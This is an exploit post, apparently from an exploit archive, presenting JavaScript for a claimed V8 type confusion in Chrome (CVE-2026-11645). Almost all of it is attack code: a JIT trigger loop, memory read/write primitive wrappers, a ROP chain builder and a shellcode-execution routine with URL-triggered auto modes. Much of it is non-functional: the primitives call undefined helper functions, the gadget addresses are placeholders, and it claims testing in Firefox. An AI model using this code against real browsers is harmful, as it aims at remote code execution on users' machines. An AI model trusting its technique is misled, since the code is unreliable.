📄 Google Chrome V8 Type Confusion

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    | # Title     : Google Chrome V8 Type Confusion Exploit Payload met Memory Primitives                                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://chromereleases.googleblog.com                                                                            |
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    [+] Summary    : This JavaScript exploit targets a type confusion vulnerability in the V8 engine of Google Chrome (versions prior to 149.0.7827.103). 
                     It runs inside the browser and attempts to trigger a JIT optimization flaw using repeated object construction patterns.
    
    [+] POC        :  
    
    
    
    (function() {
        'use strict';
    
        const CONFIG = {
            TRAINING_ITERATIONS: 800,
            TRIGGER_ITERATIONS: 1500,
            STRONG_TRIGGER_COUNT: 5,
            STRESS_CYCLES: 8,
            STRESS_DELAY_MS: 700
        };
    
        function log(msg, type = 'info') {
            const statusEl = document.getElementById('status') || document.body;
            const colors = {
                info: '#00ccff',
                success: '#00ff88',
                warning: '#ffaa00',
                error: '#ff4444'
            };
            const timestamp = new Date().toLocaleTimeString();
            const logLine = `[${timestamp}] ${msg}`;
            
            if (statusEl) {
                const p = document.createElement('div');
                p.style.color = colors[type] || colors.info;
                p.textContent = logLine;
                statusEl.appendChild(p);
            }
            console.log(logLine);
        }
    
        function triggerTypeConfusion() {
            try {
                let value = 2;
                class C extends Function {
                    ['AA'] = value;
                }
    
                for (let i = 0; i < CONFIG.TRAINING_ITERATIONS; i++) {
                    new C("'use strict'");
                }
                value = 1.1;
                for (let i = 0; i < CONFIG.TRIGGER_ITERATIONS; i++) {
                    new C("'use strict'");
                }
                
                return true;
            } catch (e) {
                log(`Trigger error: ${e.message}`, 'error');
                return false;
            }
        }
        function strongTrigger() {
            let success = false;
            for (let i = 0; i < CONFIG.STRONG_TRIGGER_COUNT; i++) {
                log(`Strong trigger run ${i + 1}/${CONFIG.STRONG_TRIGGER_COUNT}...`);
                if (triggerTypeConfusion()) {
                    success = true;
                    log(`Trigger ${i + 1} successful`, 'success');
                }
            }
            return success;
        }
        function addrof(obj) {
    
            if (typeof window._addrof === 'function') {
                return window._addrof(obj);
            }
            return null;
        }
    
        function fakeobj(addr) {
            if (typeof window._fakeobj === 'function') {
                return window._fakeobj(addr);
            }
            return null;
        }
    
        function readMemory(addr, size) {
            if (typeof window._read === 'function') {
                return window._read(addr, size);
            }
            return null;
        }
    
        function writeMemory(addr, data) {
            if (typeof window._write === 'function') {
                return window._write(addr, data);
            }
            return false;
        }
    
        function setupPrimitives() {
            log("Setting up memory primitives...");
            
            try {
    
                const ab = new ArrayBuffer(0x1000);
                const dv = new DataView(ab);
                if (typeof window.corruptBackingStore === 'function') {
                    window.corruptBackingStore(dv);
                    return {
                        dataView: dv,
                        read: (addr, size) => {
                            return readMemory(addr, size);
                        },
                        write: (addr, data) => {
                            return writeMemory(addr, data);
                        }
                    };
                }
            } catch (e) {
                log(`Failed to setup primitives: ${e}`, 'error');
            }
            
            return null;
        }
    
        function findChromeBase() {
            const dummy = {};
            const addr = addrof(dummy);
            
            if (addr) {
                log(`Found object address: 0x${addr.toString(16)}`);
                const base = addr & ~0xFFFFFFFF;
                log(`Chrome base candidate: 0x${base.toString(16)}`);
                return base;
            }
            
            return null;
        }
        function buildROPChain(shellcodeAddr) {
    
            const gadgets = {
                pop_rax: 0x414141414141,  
                pop_rcx: 0x424242424242,
                pop_rdx: 0x434343434343,
                pop_rsi: 0x444444444444,
                pop_rdi: 0x454545454545,
                syscall: 0x464646464646,
                virtual_protect: 0x474747474747
            };
            
            const chain = [
                gadgets.pop_rax, 0x50, 
                gadgets.pop_rcx, shellcodeAddr,  
                gadgets.pop_rdx, 0x1000,  
                gadgets.pop_rsi, 0x40,  
                gadgets.pop_rdi, 0, 
                gadgets.syscall
            ];
            
            return new Uint8Array(new Uint32Array(chain).buffer);
        }
        function executeShellcode(shellcode) {
            log("Attempting to execute shellcode...");
            
            try {
                const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,2,1,0,10,4,1,0,11]);
                const wasmModule = new WebAssembly.Module(wasmCode);
                const wasmInstance = new WebAssembly.Instance(wasmModule, {});
                const wasmFunc = wasmInstance.exports.main;
                
                // Overwrite wasm function with shellcode
                const funcAddr = addrof(wasmFunc);
                if (funcAddr) {
                    writeMemory(funcAddr + 0x10, shellcode);
                    wasmFunc();
                    log("Shellcode executed!", "success");
                    return true;
                }
            } catch (e) {
                log(`Shellcode execution failed: ${e}`, 'error');
            }
            
            return false;
        }
        async function exploit() {
            log("Starting CVE-2026-11645 exploit...");
            log(`Target: Chrome < 149.0.7827.103`);
            const ua = navigator.userAgent;
            const chromeMatch = ua.match(/Chrome\/(\d+)/);
            if (chromeMatch) {
                const version = parseInt(chromeMatch[1]);
                log(`Detected Chrome version: ${version}`);
                if (version >= 149) {
                    log("Browser appears patched", "warning");
                } else {
                    log("Browser appears vulnerable", "success");
                }
            }
            log("Triggering type confusion...");
            if (!strongTrigger()) {
                log("Failed to trigger type confusion", "error");
                return false;
            }
            log("Type confusion triggered successfully!", "success");
            const primitives = setupPrimitives();
            if (!primitives) {
                log("Failed to setup memory primitives", "error");
                return false;
            }
            log("Memory primitives ready", "success");
            const chromeBase = findChromeBase();
            if (!chromeBase) {
                log("Failed to find Chrome base", "warning");
            }
            log("Ready for payload execution");
            
            return true;
        }
        function autoStressTest() {
            log(`Starting auto stress test (${CONFIG.STRESS_CYCLES} cycles)...`);
            
            let cycleCount = 0;
            const interval = setInterval(() => {
                cycleCount++;
                log(`Stress cycle ${cycleCount}/${CONFIG.STRESS_CYCLES}`);
                exploit();
                
                if (cycleCount >= CONFIG.STRESS_CYCLES) {
                    clearInterval(interval);
                    log("Auto stress test completed");
                }
            }, CONFIG.STRESS_DELAY_MS);
            
            return interval;
        }
        window.CVE_2026_11645 = {
            exploit,
            autoStressTest,
            trigger: triggerTypeConfusion,
            strongTrigger
        };
        if (window.location.search.includes('auto=true')) {
            setTimeout(() => autoStressTest(), 1000);
        } else if (window.location.search.includes('exploit=true')) {
            setTimeout(() => exploit(), 1000);
        } else {
            log("CVE-2026-11645 Exploit Ready", "success");
            log("Use ?auto=true for auto-stress or ?exploit=true for single exploit", "info");
        }
    })();
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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